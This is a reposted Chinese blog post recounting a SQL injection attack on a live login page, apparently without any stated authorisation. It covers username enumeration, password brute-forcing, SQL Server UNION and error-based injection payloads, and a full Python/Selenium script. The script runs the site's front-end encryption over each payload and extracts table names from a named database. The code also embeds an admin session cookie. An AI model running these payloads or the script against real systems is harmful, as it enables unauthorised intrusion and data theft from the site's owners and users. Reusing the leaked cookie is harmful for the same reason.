記一次SQL Server報錯注入
- 2019 年 10 月 8 日
- 筆記
0x00 驗證碼前端驗證
需要測試一個網站,剛開始看到網站時感覺希望不大,因為驗證碼是需要拖動的,這也就意味着很大可能沒辦法爆破,另一方面是都用這種驗證碼了,安全做的能很差勁嗎?果然,試了admin、123456之類的都不行

那就抓個包吧

emmmmmm。32位,md5加密?這裡看着沒有驗證碼之類的信息,把這個包發了幾次發現沒有出現驗證碼信息,而且試了試,發現有兩種狀態(運氣比較好,有admin這個用戶,我也是試的這個用戶,一下子就看出返回不同了),如下:
用戶不存在時返回 {"iserror":true,"message":"用戶名不存在!","data":null,"errorfieldlist":null}
用戶名存在時返回 {"iserror":true,"message":"密碼不正確!","data":null,"errorfieldlist":null}
可以的,驗證碼前端驗證,我覺得可以burp抓包intruder一下
跑了top 500的用戶名和top 1000的密碼,除了直接試的用戶名admin,其他的一個都沒有跑出來 sad
0x01 存在注入
嗯看來爆破是基本沒有希望了,測其他的吧,嗯,這裡是登陸,那肯定要看注入的,無腦加單引號,boom!



可以的,and 1=1 有注入
哎??!!!那不對啊,咋的後台還解密md5後進行查詢??
剛才看了數據包,用戶名密碼都是32位,猜想sql語句是:select password from user where username=name_md5_hash,然後判斷用戶存不存在之類的
看返回信息的話顯然不是啊,哪有後台解密md5後查詢的。。。。。。
試試post其他用戶名和密碼,然後看數據包

顯然並不是md5。。。。這個是前端加密後發送的。。。。。看一下js,結果發現了這


emmmmm,想了想,應該可以注入的,看看啥系統

大概率SQL Server了(因為前幾天在t00ls剛看到了一個ASP.NET+MySQL,比較任性),所以這裡看一下,發現確實是SQL Server

看看數據庫版本,嗯,看來還是報錯注入

可以可以,看看有幾列,然後進行union注入


一列,這裡也能大致猜出來sql語句了,估計就是:select password from user where username='admin'
那就看看數據庫吧,不知道SQL Server中的concat怎麼用,一個個來吧。。。。
得到第一個數據庫的名字:union select name from master.dbo.sysdatabases where dbid=1

得到第二個數據庫的名字:union select name from master.dbo.sysdatabases where dbid=2

得到第5個數據庫的名字:union select name from master.dbo.sysdatabases where dbid=5

好麻煩啊,拖一下驗證碼,然後得到一個數據庫,而且後面還有表呢。。。。。
py一下了吧,前端有js進行加密,可以本地寫文件生成加密後的payload,然後python拿到payload後進行注入
0x02 嘗試寫php得到加密後的payload
把加密的那個js文件SkyEnCode.js保存到本地,然後寫php文件,php的話接收一個未加密的payload然後返回一個加密後的payload,大致代碼:
<!DOCTYPE html> <head> <script src=jquery.min.js></script> <script src=SkyEnCode.js></script> <title>test</title> </head> <body> <?php $name = $_GET['name']; echo "<script> var name = '".$name."'; document.write('>>>'+SkyEnCode.EscKeyCode(name) +'<<<'); </script>"; ?> </body> </html>
看了下,返回的結果是一樣的,可以用(實際上並不能。。。)

0x03 通過python獲取js加密後的payload
本來是寫python獲取加密後的payload來着
def encode_payload(payload): html = requests.get("http://127.0.0.1/tmp.php?name={}".format(payload)).text m = re.findall(r'>>>(.*?)<<<', html) return m
但是獲取到的是:[u"'+SkyEnCode.EscKeyCode(name)+'"],因為js沒有執行加載,所以得到的是js未執行時的頁面源碼
記得以前看過一個東西,selenium,可以調用瀏覽器驅動模擬瀏覽器點擊啥的,記得可以執行js,想到就做
首先安裝selenium:sudo pip install selenium –user -U
然後在http://chromedriver.storage.googleapis.com/index.html下載Chrome的驅動,然後放到/opt下
[21:07 reber@wyb in ~] ➜ ls /opt/chromedriver /opt/chromedriver [21:07 reber@wyb in ~] ➜ /opt/chromedriver --version ChromeDriver 70.0.3538.97 (d035916fe243477005bc95fe2a5778b8f20b6ae1)
獲取加密後payload的代碼重寫如下(此時已經不需要頁面接收參數了,頁面能引入js我們調用執行就行):

python運行後得到的userName和網頁上的一樣


0x04 得到數據庫的表名
數據庫名的話可以通過union注入改變dbid即可得到,比較簡單,表名的話這裡寫代碼獲取第5個數據庫gansu的表名

不再繼續深入
0x05 詳細代碼
#!/usr/bin/env python # -*- coding: utf-8 -*- # code by reber <[email protected]> import re import time import requests from selenium import webdriver from selenium.webdriver.chrome.options import Options url = "http://117.***.***.***/newcc/Common/AccessToken.do" headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Cookie": "currentuser_JSON=eyJpZCI6MSwiZGVsc3RhdHVzIjowLCJkZXB0aWQiOjEsInVuaXRpZCI6MSwiY2hpbmFuYW1lIjoi566h55CG5ZGYIiwibG9naW5uYW1lIjoiYWRtaW4iLCJiaXJ0aCI6bnVsbCwic2V4IjoxLCJwYXNzd29yZCI6ImthdkRhVzRoanMzK3dIeC90czhvdSsxVEYzQT0iLCJtYWlsIjoiYWRtaW5Ac2t5dGVjaC5jb20iLCJpZGNhcmQiOm51bGwsIm1vYmlsZSI6bnVsbCwicGhvbmVkZXB0IjoiMDI1ODg4ODg4ODgiLCJwaG9uZWhvbWUiOiIwMjU4ODg4ODg4OCIsInBlcm1zdHJpbmciOiI3MSw2Niw4OSw0NywxMDcsMTMxLDU4LDc4LDI0NSw5Miw0MSw1NCw1NiwxLDcsMjcsMjgsNjksMzkiLCJwZXJzb25yb2xlcyI6IjgiLCJzb3J0aW5kZXgiOjAsImlzaGFzY2FyZHR5cGUiOjAsImFkZGVyIjoxLCJhZGR0aW1lIjoiMjAwNi8wMi8yMCAxMzoyOToyNiIsIm1vZGVyIjoxLCJtb2R0aW1lIjoiMjAxNy8wOC8xOSAwOToxMDo0MCJ9", } def encode_payload(payload): chrome_options = Options() chrome_options.add_argument('--headless') #無頭模式,不打開瀏覽器界面 chrome = webdriver.Chrome(executable_path=r"/opt/chromedriver",chrome_options=chrome_options) try: chrome.get("http://127.0.0.1/tmp.php") # chrome.maximize_window() #不設置無頭模式時最大化窗口 # time.sleep(20) #等待請求完頁面 # print chrome.page_source #輸出頁面的html js = "var en_payload = SkyEnCode.EscKeyCode("{}");return en_payload;".format(payload) en_payload = chrome.execute_script(js) #調用頁面中加載的js代碼中的加密函數 return en_payload except Exception as e: print str(e) finally: chrome.close() def get_tables(database): payload1 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U')>1--".format(database) payload2 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U' and name not in ({}))>1 --" #先得到第一張表名 en_payload = encode_payload(payload1) data = {"userName": en_payload,"userPwd": "823d9ed14f2b86bb15234e4893c3ec54"} html = requests.post(url=url,data=data,headers=headers).content c_table = re.search(r'~~(.*?)~~', html).group(1) #通過for循環得到其他的表名 tables = list() for x in xrange(5): tables.append("'"+c_table+"'") fm = ",".join(str(table) for table in tables) _payload = payload2.format(database,fm) print _payload data = {"userName": encode_payload(_payload),"userPwd": "9ad64932f8832810867a5b9e956206ca"} html = requests.post(url=url,data=data,headers=headers).content print html c_table = re.search(r'~~(.*?)~~', html).group(1) print tables get_tables('gansu')

參考來源:reber's blog
作者:reber
如有侵權,請聯繫刪除